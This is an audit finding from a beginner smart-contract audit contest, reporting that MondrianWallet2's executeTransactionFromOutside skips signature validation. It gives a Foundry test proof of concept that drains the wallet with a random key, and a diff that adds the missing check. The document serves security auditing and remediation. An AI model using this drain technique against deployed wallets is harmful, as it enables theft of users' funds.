First Flight #19: Mondrian Wallet v2
First Flight #19
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

No check in `MondrianWallet2::executeTransactionFromOutside` allows anyone to send a transaction to the wallet, making it vulnerable to attacks like wallet being drained.

monstitude

Summary

The MondrianWallet2::executeTransactionFromOutside function does not check if the transaction is signed by the owner, which allows anyone to send a transaction to the wallet. This is the same thing as having your private key public. This makes the wallet vulnerable to all kinds of attacks like: an attacker could easily steal all funds and assets from the wallet.

Vulnerability Details

Anyone can send a transaction to the MondrianWallet2 contract using the MondrianWallet2::executeTransactionFromOutside function. This is the same thing as having your private key public on the internet. The MondrianWallet2::executeTransactionFromOutside should be checking if the transaction has been signed by the owner before executing it, but it does not, allowing anyone to send a transaction to the wallet.

Impact

By allowing anyone to send a transaction to the MondrianWallet2. An attacker could steal all funds and assets from the wallet. This makes the wallet vulnerable to all kinds of attacks, like for example the wallet being drained, ownership of wallet could be transferred, etc.

Proof of Concept

The attacker sends a transaction to the MondrianWallet2::executeTransactionFromOutside function and transfers funds from the MondrianWallet2 to the attacker.

Place the following code into ModrianWallet2Test.t.sol

address public USER_1 = makeAddr("user1");
​
function testZkExecuteTransactionFromOutside() public onlyZkSync {
vm.startPrank(USER_1);
uint256 value = AMOUNT - 1e17;
​
Transaction memory transaction = _createUnsignedTransaction(
address(mondrianWallet),
113,
USER_1,
value,
hex""
);
bytes32 unsignedTransactionHash = MemoryTransactionHelper.encodeHash(
transaction
);
uint8 v;
bytes32 r;
bytes32 s;
uint256 RANDOM_PRIVATE_KEY = 0x4f5b812789fc606be1b3b16908db13fc7a9adf7ca72641f84d75b47069d3d7f0;
(v, r, s) = vm.sign(RANDOM_PRIVATE_KEY, unsignedTransactionHash);
transaction.signature = abi.encodePacked(r, s, v);
​
assertEq(address(mondrianWallet).balance, AMOUNT);
assertEq(USER_1.balance, 0);
​
mondrianWallet.executeTransactionFromOutside(transaction);
​
assertEq(address(mondrianWallet).balance, 1e17);
assertEq(USER_1.balance, value);
}

Tools Used

No tools were used to find this vulnerability

Recommendations

In the MondrianWallet2::executeTransactionFromOutside function, check if the transaction has been signed by the owner before executing.

function executeTransactionFromOutside(
Transaction memory _transaction
) external payable {
- _validateTransaction(_transaction);
+ bytes4 magic = _validateTransaction(_transaction);
+ if (magic != ACCOUNT_VALIDATION_SUCCESS_MAGIC) {
+ revert MondrianWallet2__InvalidSignature();
+ }
_executeTransaction(_transaction);
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing validation in executeTransactionFromOutside

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.